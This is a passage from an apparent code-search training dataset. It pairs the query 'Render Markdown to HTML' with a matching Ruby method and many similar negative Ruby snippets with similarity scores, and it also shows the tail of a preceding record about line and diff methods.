path\r\n @line_number = line_number\r\n @line = line\r\n @colorize_line = @line.gsub('<', '&lt;')\r\n @colorize_line = @colorize_line.gsub('>', '&gt;')\r\n end", "def prevline(distance = 1)\n ConsoleGlitter.escape(\"#{distance}F\")\n end", "def line_height\n return @common.lineHeight\n end", "def get_type\n \"line\"\n end", "def render_line(range, ellipsis=false, range_end=false)\n source_line = range.source_line\n highlight_line = ' ' * source_line.length\n\n @highlights.each do |highlight|\n line_range = range.source_buffer.line_range(range.line)\n if highlight = highlight.intersect(line_range)\n highlight_line[highlight.column_range] = '~' * highlight.size\n end\n end\n\n if range.is?(\"\\n\")\n highlight_line += \"^\"\n else\n if !range_end && range.size >= 1\n highlight_line[range.column_range] = '^' + '~' * (range.size - 1)\n else\n highlight_line[range.column_range] = '~' * range.size\n end\n end\n\n highlight_line += '...' if ellipsis\n\n [source_line, highlight_line].\n map { |line| \"#{range.source_buffer.name}:#{range.line}: #{line}\" }\n end", "def diffed(old, new)\n differ = Differ.diff_by_line(new, old)\n differ.to_s[/\\{[^}]+\\}/][1...-1].gsub(/\\s{2,}/, '')\n end", "def progress_line; end", "def diff_formatter= diff_formatter\n register_diff_formatter(/.*/, diff_formatter)\n register_diff_formatter(nil, diff_formatter)\n end", "def line_style(data_set_index, options={})\n @line_styles[data_set_index] = \"#{options[:line_thickness]}\"\n @line_styles[data_set_index] += \",#{options[:length_segment]},#{options[:length_blank]}\" if options[:length_segment]\n end", "def inqlinecolorind\n inquiry_int { |pt| super(pt) }\n end", "def line\n end", "def line\n end", "def each\n # Prefixes of all diff lines, indicating their types\n # For example: `\" - + -+ ---+++ --+ -++\"`\n line_prefixes = lines.each_with_object(+\"\") { |line, s| s << (line[0] || ' ') }.gsub(/[^ +-]/, ' ')\n\n line_prefixes.scan(LINE_PAIRS_PATTERN) do\n # For `\"---+++\"`, `begin_index == 0`, `end_index == 6`\n begin_index, end_index = Regexp.last_match.offset(:del_ins)\n\n # For `\"---+++\"`, `changed_line_count == 3`\n changed_line_count = (end_index - begin_index) / 2\n\n halfway_index = begin_index + changed_line_count\n (begin_index...halfway_index).each do |i|\n # For `\"---+++\"`, index 1 maps to 1 + 3 = 4\n yield [i, i + changed_line_count]\n end\n end\n end", "def divider_line\n lines - 2\n end", "def drawDashedLine(x0,y0,x1,y1,thickness=1,color=\"grey\")\n @gc.set_foreground(getColor(color)) ;\n @gc.set_line_attributes(thickness, Gdk::LINE_ON_OFF_DASH,\n\t\t\t Gdk::CAP_NOT_LAST, Gdk::JOIN_MITER) \n\n @buffer.draw_line(@gc,valX(x0),valY(y0),valX(x1),valY(y1)) ;\n end", "def line_item_label\n $tracer.trace(__method__)\n #unit_test_no_generate: line_item_label, tr.className(create_ats_regex_string(\"ats-lineitemrow\"))\n return ToolTag.new(tr.className(create_ats_regex_string(\"ats-lineitemrow\")), __method__, self)\n end", "def generate_diff\n jsons = version_jsons.map { |j| pretty_json(j) }\n differ = Differ.send(diff_method, *jsons).format_as(:html)\n differ.gsub!('<ins', \"\\n<ins\") if diff_method == :diff_by_line\n @diff = sanitize(differ).html_safe\n end", "def line\n @line ||= Line.get(@attrs['Line'])\n end", "def line\n @line ||= Line.get(@attrs['LineCode'])\n end", "def TreeView_GetLineColor(hwnd) send_treeview_message(hwnd, :GETLINECOLOR) end", "def objective_x; line_height / 2; end", "def project_to_line\n end", "def diff\n element_name = happy_path? ? @processor.kind.output_name : @processor.kind.error_name\n html_diff(\n @ciat_file.element(element_name).as_file,\n @ciat_file.element(element_name, :generated).as_file, \n @ciat_file.element(element_name, :diff).as_file)\n end", "def rb_mvwvline row, col, char, width\n super(row-@top, col-@left, char, width)\n end", "def line_code\n @attrs['Line']\n end", "def line_one\n @line_one\n end", "def initialize\n super(/^(Over|Under)full \\\\hbox.*at line(?:s)? (\\d+)(?:--(\\d+))?/,\n { pattern: ->(_) { /^\\s*(\\[\\])?\\s*$/ }, until: :match, inclusive: false }\n )\n end", "def validations\n [:line_style_names] + super\n end", "def git_changed_line\n `git diff | grep ' #{name} (' | grep '+ '`\n end", "def line_style_definition(symbol, thickness = 1)\n self.class.line_styles(thickness)[symbol] || default_line_style[1..2]\n end", "def render_line(line)\n raise NotImplementedError\n end", "def tagline; end", "def get_line_speed\n @line_show_fast = CP::CMS::TEXT_TYPE_OR_SKIP\n end", "def diff\n @diff ||= begin\n commit.diffs.collect{|diff| diff.diff}.join(\"\\n\")\n end\n end", "def myletter\n \n end" ]
[ "0.74846035", "0.675893", "0.6689632", "0.6309649", "0.6116834", "0.60038835", "0.5964602", "0.586575", "0.58221835", "0.5816642", "0.56416863", "0.56178", "0.5612193", "0.5609927", "0.5604306", "0.5591892", "0.55917454", "0.5588305", "0.55746365", "0.55416924", "0.55124146", "0.54943955", "0.5436981", "0.542397", "0.5411538", "0.5408621", "0.5388014", "0.53779864", "0.53477186", "0.53357303", "0.5321107", "0.5298079", "0.52932626", "0.5289549", "0.528301", "0.52803713", "0.5278828", "0.5271149", "0.5264294", "0.5256003", "0.52260935", "0.52258843", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.52161723", "0.5210064", "0.5204788", "0.5196237", "0.5193357", "0.51922685", "0.51900077", "0.51838285", "0.5181044", "0.5176686", "0.5170251", "0.5162193", "0.5155131", "0.5153847", "0.51529735", "0.5149273", "0.5141155", "0.5133781", "0.51263994", "0.5119424", "0.5119424", "0.51182294", "0.51174116", "0.5111406", "0.510998", "0.51035756", "0.5101657", "0.509937", "0.50972885", "0.5091419", "0.5090735", "0.5082401", "0.5074741", "0.506632", "0.5064994", "0.50633407", "0.50615203", "0.5060153", "0.5056682", "0.50479966", "0.5043957", "0.5034549", "0.5030928", "0.5014836" ]
0.737318
1
Render Markdown to HTML
def render_markdown(markdown) settings.markdown_renderer.render(markdown) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_html\n determine_markdown_renderer\n @markdown.to_html\n end", "def html\n Markdown.render(self.content)\n end", "def html\n Markdown.render(self.content)\n end", "def render_markdown\n return @render if @render\n @render = Markdown.new(:content => content, :indent => self.indent, :path => self.commit ? \"/commits/#{self.commit.id}#{self.web_path}\" : self.web_path)\n @render\n end", "def to_html\n @markdown_class.new(@markdown).to_html\n end", "def html_markup_markdown(text); end", "def render_markdown\n return if self.markdown.nil?\n\n render_as = Redcarpet::Render::HTML\n engine = Redcarpet::Markdown.new(render_as, :autolink => true,\n :space_after_headers => true)\n self.content = engine.render(self.markdown)\n end", "def convert_markdown\n self.html_content = Raptor::Markdown.render(self.content)\n end", "def markdown_output_html\n \n if self.markdown_output\n self.markdown_output\n else\n self.markdown_output = MARKDOWN_RENDERER.render(self.output)\n end\n end", "def mdrender\n \t@markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :autolink => true, :space_after_headers => true)\n end", "def render_markdown(text)\n html_renderer.render(text).html_safe if text.present?\n end", "def markdown( text )\n Kramdown::Document.new( text ).to_html\n end", "def convert_markdown\n # self.content_html = Kramdown::Document.new(content).to_html\n self.content_html = markdown(content)\n end", "def call\n result = self.class.markdown_renderer.result(schema: schema)\n if @html\n result = self.class.html_renderer.result(body: self.class.redcarpet.render(result))\n result.gsub(/id=\"(.+)\"/) {|text| text.tr(\"/:\", \"\") }\n else\n result\n end\n end", "def md_to_html\n options = {\n filter_html: true,\n link_attributes: {\n rel: \"nofollow\",\n target: \"_blank\"\n }\n }\n\n extensions = {\n space_after_headers: true,\n autolink: true\n }\n\n renderer = Redcarpet::Render::HTML.new(options)\n markdown = Redcarpet::Markdown.new(renderer, extensions)\n\n self.description = markdown.render(self.description_md)\n end", "def md(text)\n renderer = Redcarpet::Render::HTML.new\n extensions = {filter_html: true}\n redcarpet = Redcarpet::Markdown.new(renderer, extensions)\n redcarpet.render(text).html_safe\n end", "def markdown\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML)\n end", "def render_md page, content\n markdown(content || self.body) # HACK\n end", "def render_md page, content\n markdown(content || self.body) # HACK\n end", "def markdown(text)\n BlueCloth::new(text).to_html\n end", "def markdownToHTML(markdown)\n output = \"\"\n IO.popen($mmdPath, \"w+\") do |f|\n f.print markdown\n f.close_write\n output = f.gets(nil)\n end\n return output\nend", "def markdown(text)\n\t\tBlueCloth::new(text).to_html\n\tend", "def call\n markdown = markdown_renderer.result(schema: schema)\n if @html\n html = markdown_parser.render(markdown)\n html = html_renderer.result(body: html)\n html.gsub(/id=\"(.+)\"/) {|text| text.tr(\"/:\", \"\") }\n else\n markdown\n end\n rescue Jdoc::Link::ExampleNotFound => exception\n abort(\"Error: #{exception.to_s}\")\n end", "def markdown(text)\n raw sanitize Markdown.new(text).to_html\n end", "def print_markdown(txt)\n Markdown::Processor.instance.render(txt)\n end", "def markdown(text)\n BlueCloth.new(text).to_html\n end", "def body_as_html\n markdown = MarkdownPresenter.new(body)\n markdown.convert_to_html\n end", "def markdown(text)\n sanitize BlueCloth::new(text).to_html\n end", "def markdown_to_html(src)\n render_options = {\n prettify: true,\n }\n renderer = MdRenderer.new(render_options)\n extensions = {\n no_intra_emphasis: true,\n autolink: true,\n tables: true,\n fenced_code_blocks: true,\n strikethrough: true,\n underline: true,\n quote: true,\n footnotes: true,\n }\n md = ::Redcarpet::Markdown.new(renderer, extensions)\n html = md.render(src)\n return html\n end", "def render_markdown(str)\n renderer = Redcarpet::Markdown.new(\n Redcarpet::Render::HTML.new(hard_wrap: true),\n autolink: true, tables: true)\n renderer.render(str)\n end", "def markdown(text)\n BlueCloth::new(text).to_html\nend", "def markdown_to_html(src)\n render_options = {\n prettify: true,\n }\n renderer = MarkdownRenderer.new(render_options)\n extensions = {\n no_intra_emphasis: true,\n autolink: true,\n tables: true,\n fenced_code_blocks: true,\n strikethrough: true,\n underline: true,\n quote: true,\n footnotes: true,\n }\n md = ::Redcarpet::Markdown.new(renderer, extensions)\n html = md.render(src)\n return html\n end", "def to_html_fragment\n to_markdown_slices.map do |tagged_markdown|\n tagged_markdown.to_html\n end.join(\"\\n\\n\")\n end", "def markdown content\n require \"kramdown\"\n\n content = content.\n gsub(/^``` *(\\w+)/) { \"{:lang=\\\"#$1\\\"}\\n~~~\" }.\n gsub(/^```/, '~~~')\n\n Kramdown::Document.new(content, KRAMDOWN_CONFIG).to_html\n end", "def markdown content\n require \"kramdown\"\n\n content = content.\n gsub(/^``` *(\\w+)/) { \"{:lang=\\\"#$1\\\"}\\n~~~\" }.\n gsub(/^```/, '~~~')\n\n Kramdown::Document.new(content, KRAMDOWN_CONFIG).to_html\n end", "def call\n # mode = (context[:gfm] != false) ? :gfm : :markdown\n # html = GitHub::Markdown.to_html(@text, mode)\n # html.rstrip!\n # html\n\n options = context[:redcarpet_options] || {}\n renderer = HtmlWithRouge.new(\n filter_html: options.fetch(:filter_html, false),\n hard_wrap: options.fetch(:hard_wrap, true)\n )\n options.reject! { |k, v| [:filter_html, :hard_wrap].include?(k) }\n markdown = Redcarpet::Markdown.new(renderer, options)\n html = markdown.render(@text)\n html.rstrip!\n html\n end", "def content\n MarkdownService.new.render(body).html_safe \n end", "def markdown_command_html\n if self.markdown_command \n self.markdown_command\n else\n self.markdown_command = MARKDOWN_RENDERER.render(self.command)\n end\n end", "def markdown(text)\n BlueCloth::new(text).to_html.html_safe\n end", "def process_markdown\n self.explanation_html = Kramdown::Document.new(explanation_md || '').to_html.gsub(/[\\r\\n]+/, '')\n end", "def markdown(text) # Define method markdown with redcarpet gem\n\t\tRedcarpet::Markdown.new(Redcarpet::Render::HTML).render(text)\n end", "def markdown_to_html\n html = RDiscount.new(File.read file).to_html\n html = syntax_highlight(html) if config.highlighter\n html = prepend_h1(html) if config.autoh1\n html\n end", "def render_markdown(text)\n Redcarpet::Markdown.new(\n SupermarketRenderer,\n autolink: true,\n fenced_code_blocks: true,\n tables: true,\n no_intra_emphasis: true,\n strikethrough: true,\n superscript: true\n ).render(\n text\n ).html_safe # rubocop:todo Rails/OutputSafety\n end", "def markdown(text)\n Markdown.new(text, :hard_wrap, :autolink).to_html.html_safe\n end", "def markdown(text)\n# coderayified = CodeRayify.new(:filter_html => true,:hard_wrap => true)\n coderayified = PygmentsHTML.new(\n with_toc_data: true,\n hard_wrap: true\n )\n# coderayified = Redcarpet::Render::HTML.new(:filter_html => true,:hard_wrap => true)\n options = {\n :no_intra_emphasis => true,\n :tables => true,\n :fenced_code_blocks => true,\n :autolink => true,\n :strikethrough => true,\n :lax_spacing => true,\n :superscript => true\n }\n markdown_to_html = Redcarpet::Markdown.new(coderayified, options)\n markdown_to_html.render(text).html_safe\n end", "def recursive_render(markdown)\n Redcarpet::Markdown.new(self.class, @options).render(markdown)\n end", "def markdown_to_html(content)\n render_options = {hard_wrap: true, filter_html: true, safe_links_only: true}\n markdown_options = {no_intraemphasis: true, autolink: true, superscript: true, fenced_code_blocks: true }\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML.new(render_options),markdown_options)\n return markdown.render(content).html_safe\n end", "def markdownify(input); end", "def render(path)\n\t\t\tredcarpet = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :autolink => true)\n\t\t\tredcarpet.render(File.read(path))\n\t\tend", "def markdown(text)\n sanitize(BlueCloth::new(text).to_html)\n end", "def markdown(text)\n return '' if text.nil? || text.empty?\n Wink::Markdown.new(text, :smart).to_html\n end", "def markdown(text)\n return '' if text.nil? || text.empty?\n Wink::Markdown.new(text, :smart).to_html\n end", "def to_html(md)\n Kramdown::Document\n .new(md, {input: \"GFM\"})\n .to_html\n end", "def markdown\n @markdown ||= process_markdown!\n end", "def show\n @markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML)\n end", "def markdown(text)\n htmlcoderay = HTMLWithCoderay.new(filter_html: true,\n hard_wrap: true)\n options = {\n fenced_code_blocks: true,\n no_intra_emphasis: true,\n autolink: true,\n lax_html_blocks: true,\n tables: true,\n strikethrough: true,\n superscript: true,\n underline: true,\n highlight: true,\n footnotes: true,\n with_toc_data: true\n }\n\n markdown_to_html = Redcarpet::Markdown.new(htmlcoderay, options)\n begin\n markdown_to_html.render(text).html_safe\n rescue ArgumentError => e\n \"<h1>Error in Markdown: #{e.message}</h1><p>#{@blog.body}</p>\".html_safe\n end\n end", "def simple_markdown(text)\n simple_format markdown text\n end", "def markdown(content)\n renderer = CodeRayify.new(hard_wrap: true, filter_html: true)\n options = {\n autolink: true,\n no_intra_emphasis: true,\n fenced_code_blocks: true,\n lax_html_block: true,\n strikethrough: true,\n superscript: true,\n underline: true,\n disable_indented_code_blocks: true,\n }\n\n Redcarpet::Markdown.new(renderer, options).render(content).html_safe\n end", "def render\n return @markdown unless $yart_installed\n\n lines = @markdown.split(\"\\n\")\n return @markdown unless yart_snippet?(lines)\n\n yart_lines = extract_yart_lines(lines)\n yart_snippet = yart_lines[1..-2].join(\"\\n\")\n raise YART_PARSE_ERROR if yart_snippet.include?(\"YART.parse\")\n\n html = YART.parse { eval(yart_snippet) }\n @markdown.sub!(yart_lines.join(\"\\n\"), html)\n\n render\n end", "def formatter(content)\n #render_options = {hard_wrap: true, filter_html: true, safe_links_only: true}\n #markdown_options = {no_intraemphasis: true, autolink: true, superscript: true}\n #markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML.new(render_options),markdown_options)\n #return markdown.render(content).html_safe\n return markdown_to_html(content) unless content.nil?\n end", "def kss_markdown(input)\n markdown = ::Redcarpet::Markdown.new(::Redcarpet::Render::HTML, :autolink => true, :space_after_headers => true)\n markdown.render(input)\n end", "def process_markdown\n self.data = self.class.convert_markdown(self.data)\n sanitize_html\n end", "def block_html(html)\n html.gsub(/<markdown>([\\d\\D]+?)<\\/markdown>/) {|_|\n extensions = {fenced_code_blocks: true}\n renderer = Redcarpet::Markdown.new(WithHighlights, extensions)\n renderer.render(Regexp.last_match[1])\n }\n end", "def markdown(text)\n coderayified = CodeRayify.new(:filter_html => true, \n :hard_wrap => true,\n :coderay_default_lang => 'ruby'\n )\n options = {\n :fenced_code_blocks => true,\n :no_intra_emphasis => true,\n :autolink => true,\n }\n markdown_to_html = Redcarpet::Markdown.new(coderayified, options)\n markdown_to_html.render(text).html_safe\n end", "def embed_md_erb(filename) # => markdown string\n ERB.new(File.read(filename)).result(binding)\n end", "def markdown(text)\n options = {\n filter_html: true,\n hard_wrap: true, \n link_attributes: { rel: 'nofollow', target: \"_blank\" },\n space_after_headers: true, \n fenced_code_blocks: true\n }\n\n extensions = {\n autolink: true,\n superscript: true,\n disable_indented_code_blocks: true\n }\n\n renderer = Redcarpet::Render::HTML.new(options)\n markdown = Redcarpet::Markdown.new(renderer, extensions)\n\n markdown.render(text).html_safe\n end", "def render_markdown(file)\n renderer = PygmentizeHTML\n extensions = {:autolink => true, :hard_wrap => true, :space_after_headers => true, :highlight => true, :tables => true, :fenced_code_blocks => true, :gh_blockcode => true}\n redcarpet = Redcarpet::Markdown.new(renderer, extensions)\n @file = redcarpet.render file\n end", "def markdown(text)\n Redcarpet::Markdown.new(\n Redcarpet::Render::HTML,\n autolink: true,\n tables: true\n ).render(text).html_safe # rubocop:disable Rails/OutputSafety\n end", "def parse_markdown\n self.bio_html = markdown.render(bio_markdown)\n end", "def markdown(content)\n @markdown_renderer ||= CodeRayify.new(:filter_html => true, :hard_wrap => true)\n \n @markdown_options ||= {\n :fenced_code_blocks => true,\n :no_intra_emphasis => true,\n :autolink => true,\n :lax_html_blocks => true,\n }\n \n @markdown ||= Redcarpet::Markdown.new(@markdown_renderer, @markdown_options)\n @markdown.render(content).html_safe\n end", "def to_html(content)\n case @parser\n when :kramdown, 'kramdown'\n require 'kramdown'\n Kramdown::Document.new(content).to_html\n when :redcarpet, 'redcarpet'\n require 'redcarpet'\n markdown = Redcarpet::Markdown.new(\n Redcarpet::Render::HTML,\n smart: true,\n no_intra_emphasis: true,\n fenced_code_blocks: true,\n autolink: true,\n tables: true,\n with_toc_data: true\n )\n\n # add smartypants support\n Redcarpet::Render::SmartyPants.render markdown.render(content)\n when :rdiscount, 'rdiscount'\n require 'rdiscount'\n RDiscount.new(content).to_html\n when :gfm, :github, :github_markdown, 'gfm', 'github_markdown'\n require 'github/markdown'\n GitHub::Markdown.render(content)\n end\n end", "def recursive_render(markdown)\n Redcarpet::Markdown.new(self.class, REDCARPET_OPTIONS).render(markdown)\n end", "def markdown(text)\n render_options = {\n filter_html: true,\n hard_wrap: true,\n link_attributes: { rel: 'nofollow' }\n # no_images: true\n }\n renderer = Redcarpet::Render::HTML.new(render_options)\n\n extensions = {\n autolink: true,\n fenced_code_blocks: true,\n lax_spacing: true,\n no_intra_emphasis: true,\n }\n Redcarpet::Markdown.new(renderer, extensions).render(text).html_safe\n end", "def html_to_markdown(content,user)\n filenumber = user.id\n filename = filenumber.to_s+\".html\"\n %x[\"touch #{filename}\"]\n File.atomic_write(\"tmp/#{filename}\") do |file|\n file.write(content)\n end\n html_content = `pandoc -f html -t markdown \"tmp/#{filename}\"`\n File.delete(\"tmp/#{filename}\")\n return html_content\n end", "def markdown(text)\n renderer = HTMLwithPygments.new(:hard_wrap => true)\n options = {\n :fenced_code_blocks => true,\n :no_intra_emphasis => true,\n :autolink => true,\n :strikethrough => true,\n :lax_html_blocks => true,\n :superscript => true,\n :space_after_headers => true\n }\n Redcarpet::Markdown.new(renderer, options).render(text).html_safe\n end", "def kss_markdown(text)\n require 'redcarpet'\n Redcarpet::Markdown.new(\n Redcarpet::Render::HTML,\n autolink: true,\n tables: true,\n fenced_code_blocks: true,\n strikethrough: true,\n hard_wrap: true,\n space_after_headers: true,\n underline: true\n ).render(text).html_safe\n end", "def parse_markdown\n self.body_html = markdown.render(body_markdown.to_s)\n self.summary_html = markdown.render(summary_markdown.to_s)\n end", "def markdown(text)\n coderayified = CodeRayify.new(filter_html: true, hard_wrap: true)\n options = {\n link_attributes: { rel: 'nofollow', target: '_blank' },\n space_after_headers: true,\n fenced_code_blocks: true,\n no_intra_emphasis: true,\n autolink: true,\n strikethrough: true,\n lax_html_blocks: true,\n superscript: true\n }\n markdown = Redcarpet::Markdown.new(coderayified, options)\n markdown.render(text).html_safe\n end", "def description_html\n Redcarpet::Markdown.new(Redcarpet::Render::HTML).render(description)\n end", "def description_html\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :no_links => true, :hard_wrap => true)\n markdown.render(description).html_safe\n end", "def description_html\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :no_links => true, :hard_wrap => true)\n markdown.render(description).html_safe\n end", "def markdown(text)\n renderer = Redcarpet::Render::SmartyHTML\n options = {\n autolink: true,\n no_intra_emphasis: true,\n fenced_code_blocks: true,\n lax_html_blocks: true,\n strikethrough: true,\n superscript: true\n }\n Redcarpet::Markdown.new(renderer, options).render(text).html_safe\n end", "def to_markdown(html, _options = {})\n cleaned = html.scrub\n cleaned = pre_sanitize(cleaned)\n cleaned = Sanitize.fragment(cleaned, HTML_SANITIZATION_CONFIG)\n Kramdown::Document.new(cleaned, input: :html).to_kramdown.strip\n rescue\n 'The description could not be imported, the most likely cause of this is that it contained illegal HTML markup'\n end", "def preprocessMarkdownForHTML(markdown)\n output = \"\"\n inInstructions = false\n \n markdown.split(\"\\n\").each do |line|\n # parse an instructions list\n # use a dummy HTML tag so our final regex doesn't get stuck in an infinite loop replacing itself\n instructionsMatch = line.match(/^>>\\s*(.*?)$/)\n if instructionsMatch\n if not inInstructions\n output += \"<instructions>\\n\"\n end\n output += instructionsMatch[1] + \"\\n\"\n inInstructions = true\n next # don't try to parse anything else\n elsif inInstructions\n output += \"</instructions>\\n\"\n inInstructions = false\n end\n\n # parse headers and page IDs\n headerMatch = line.match(/^(#+)\\s+(.*?)\\s+@@(.*?)$/)\n if headerMatch\n headerLevel = headerMatch[1].length.to_s\n headerTitle = headerMatch[2]\n headerID = headerMatch[3]\n node = nodeWithID(headerID, $doc.toc.rootNode)\n if not node\n puts \"ERROR: Couldn't find node with ID #{headerID}\"\n exit 1\n end\n output += \"<h#{headerLevel}><a name=\\\"#{headerID}\\\">#{node.levelPrefix} #{headerTitle}</a></h#{headerLevel}>\\n\"\n next\n end\n \n # parse links to page IDs and replace with links to the real .htm file\n while 1\n linkMatch = line.match(/\\[.*?\\]\\((@@(.*?))\\)/)\n if linkMatch\n linkID = linkMatch[2]\n linkValue = linkToPageIDFrom(linkID, \"_PAGE_\") # use dummy value\n if not linkValue\n puts \"ERROR: Invalid link ID \\\"#{linkID}\\\"\"\n exit 1\n end\n line[linkMatch[1]] = linkValue\n else\n break\n end\n end\n \n # parse image and label combo\n imgLabelMatch = line.match(/!!\\[(.*?)\\]\\((.*?)\\)/)\n if imgLabelMatch\n label = imgLabelMatch[1]\n imgPath = imgLabelMatch[2]\n \n # read the image and width height to force the size on images for better loading\n # when viewing the files in the boot DVD. there are some issues where anchor jump\n # links don't always jump to the right place on the boot DVD and apparently forcing\n # the image sizes allows the pages to jump properly.\n \t\timgWidth = 0\n \t\timgHeight = 1\n \t\tbegin\n \t\t data = nil\n \t\t if (imgPath =~ /.png$/)\n \t\t data = IO.read($pagesDir + \"/\" + imgPath, 8, 16).unpack('NN')\n\t\t else\n\t\t puts \"ERROR: Unsupported image type: #{imgPath}\"\n\t\t exit 1\n\t end\n \t\t if (data)\n \t\t imgWidth = data[0]\n \t\t imgHeight = data[1]\n\t\t end\n\t\t rescue\n\t end\n imgWidthHeightAttrs = \"\"\n if imgWidth != 0 and imgHeight != 0\n imgWidthHeightAttrs = \" width=\\\"#{imgWidth}\\\" height=\\\"#{imgHeight}\\\"\"\n end\n\n output += \"<p class=\\\"imageAndLabel\\\"><img src=\\\"#{imgPath}\\\" alt=\\\"\" + CGI::escapeHTML(label) + \"\\\"#{imgWidthHeightAttrs}/><br/><em>\" + CGI::escapeHTML(label) + \"</em></p>\\n\"\n next\n end\n \n # parse warning paragraphs\n warningMatch = line.match(/^!!\\s+(.*?)$/)\n if warningMatch\n output += \"<warning>\\n\" + warningMatch[1] + \"\\n<\\/warning>\\n\"\n next\n end\n \n output += line + \"\\n\"\n end\n \n # close off an open instructions div\n if inInstructions\n output += \"</instructions>\\n\"\n end\n \n # Markdown doesn't allow processing of markup within block-level tags such as <div>, so we have to manually process the markup.\n # We call preprocessMarkdownForHTML() to properly process our custom markup within these custom block elements.\n # An extra newline is added to force a paragraph\n while 1\n instructionsMatch = output.match(/(<instructions>)(.*?)(<\\/instructions>)/m)\n if instructionsMatch\n output[instructionsMatch[1]] = \"<div class=\\\"instructions\\\">\"\n output[instructionsMatch[2]] = markdownToHTML(preprocessMarkdownForHTML(\"\\n\"+instructionsMatch[2]))\n output[instructionsMatch[3]] = \"</div>\"\n else\n break\n end\n end\n \n while 1\n warningMatch = output.match(/(<warning>)\\s*(.*?)(<\\/warning>)/m)\n if warningMatch\n output[warningMatch[1]] = \"<div class=\\\"warning\\\"><div class=\\\"warningBody\\\"><div class=\\\"warningImg\\\"></div><div class=\\\"warningContent\\\">\"\n output[warningMatch[2]] = markdownToHTML(preprocessMarkdownForHTML(\"\\n\"+warningMatch[2]))\n output[warningMatch[3]] = \"</div></div></div>\"\n else\n break\n end\n end\n \n return output\nend", "def markdown(text)\n return \"\" unless text\n\n CommonMarker.render_doc(text, :SMART).to_html([:NOBREAKS]).html_safe\n end", "def markdown\n @markdown ||= Redcarpet::Markdown.new(\n Blogelator::HTMLRenderer,\n autolink: true,\n disable_indented_code_blocks: true,\n fenced_code_blocks: true,\n space_after_headers: true\n )\n end", "def markdown\n @markdown ||= Redcarpet::Markdown.new(\n Blogelator::HTMLRenderer,\n autolink: true,\n disable_indented_code_blocks: true,\n fenced_code_blocks: true,\n space_after_headers: true\n )\n end", "def render\n erb_page = ERB.new(content).result(binding)\n Kramdown::Document.new(erb_page).to_html.html_safe\n end", "def markdown(txt)\n options = %i[\n hard_wrap filter_styles autolink\n no_intraemphasis fenced_code gh_blockcode\n ]\n doc = Nokogiri::HTML(Redcarpet.new(txt, *options).to_html)\n doc.search('//pre[@lang]').each do |pre|\n pre.replace Albino.colorize(pre.text.rstrip, pre[:lang])\n end\n doc.xpath('//body').to_s.gsub(%r{</?body>}, '').html_safe\n end", "def render_md(site, readme)\n begin\n mkconverter = site.getConverterImpl(Jekyll::Converters::Markdown)\n readme.gsub! \"```\",\"\\n```\"\n readme.gsub! '```shell','```bash'\n return mkconverter.convert(readme)\n rescue\n return 'Could not convert readme.'\n end\nend", "def markdown_to_html_safe(markdown_text)\n result = '<div class=\"markdown\">' + RDiscount.new(markdown_text).to_html + '</div>'\n result.html_safe\n end", "def to_s\n MarkdownService.markdown_as_text(md_title, true)\n end", "def liquidize_markdown(content, arguments)\n # doc = BlueCloth.new(Liquid::Template.parse(content).render(arguments, :filters => [LiquidFilters], \n # :registers => {:controller => controller, :view => self, :account_site_assets => account_site_assets, :current_user => current_user}))\n doc = ::Kramdown::Document.new(Liquid::Template.parse(content).render(arguments, :filters => [LiquidFilters], \n :registers => {:controller => controller, :view => self, :account_site_assets => account_site_assets, :current_user => current_user}),\n :parse_block_html => true)\n return doc.to_html.html_safe\n end", "def markdown(text)\n renderer = HTMLwithPygments.new(hard_wrap: true, filter_html: false, with_toc_data: false)\n options = {\n autolink: true,\n no_intra_emphasis: true,\n fenced_code_blocks: true,\n lax_html_blocks: true,\n tables: true,\n strikethrough: true,\n superscript: true,\n xhtml: true\n }\n Redcarpet::Markdown.new(renderer, options).render(text).html_safe\n end", "def to_html\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true)\n html = markdown.render(content)\n html = markdown_extention_youtube_links(html)\n return html.html_safe\n end", "def to_markdown\n @to_markdown\n end", "def body\n HTML.render render_md, options\n end", "def bio_html\n return nil unless bio.present?\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :no_links => true, :hard_wrap => true)\n markdown.render(bio).html_safe\n end", "def markdown\n return if changed_markdown_files.empty?\n\n output = `mdl #{changed_markdown_files.join(' ')}`\n return if output&.empty?\n\n heading('Markdown Linter', output)\n end", "def markdown(source)\n Open3.popen2('pandoc', '-s', '-f', 'markdown', '-t', 'html') do |stdin, stdout, wait_thr|\n stdin.puts(source)\n stdin.close\n stdout.read\n end\nrescue => e\n STDERR.puts e\n nil\nend" ]
[ "0.8409079", "0.8137766", "0.8137766", "0.8056751", "0.80021566", "0.78712976", "0.78600425", "0.7854223", "0.78368473", "0.77851504", "0.77647424", "0.7758357", "0.7707314", "0.76822865", "0.76787823", "0.76440126", "0.7620145", "0.7612946", "0.7612946", "0.76050615", "0.75957525", "0.7591001", "0.75750285", "0.75727326", "0.75574154", "0.75566226", "0.75545573", "0.75255334", "0.75235265", "0.75212705", "0.751482", "0.7474194", "0.74490243", "0.74224687", "0.74224687", "0.7387115", "0.73840874", "0.73706305", "0.73290396", "0.7328163", "0.732785", "0.73159057", "0.7289501", "0.7275607", "0.7274034", "0.72506166", "0.72411954", "0.72400767", "0.7232264", "0.7223148", "0.7184315", "0.7184315", "0.7179596", "0.71741927", "0.7156258", "0.714362", "0.71219426", "0.7118685", "0.71173006", "0.7117065", "0.7116779", "0.70949036", "0.70935047", "0.7092465", "0.7089976", "0.7089192", "0.7089108", "0.7086088", "0.7083968", "0.70772386", "0.70769566", "0.705944", "0.7057658", "0.7050978", "0.7047854", "0.70164514", "0.70096314", "0.6985913", "0.69845295", "0.69836533", "0.69836533", "0.69692385", "0.69680923", "0.6966111", "0.6964809", "0.6961585", "0.6961585", "0.694614", "0.6939186", "0.69362134", "0.6889755", "0.6865134", "0.6859336", "0.68550175", "0.6841085", "0.6830338", "0.68290067", "0.68087375", "0.68054104", 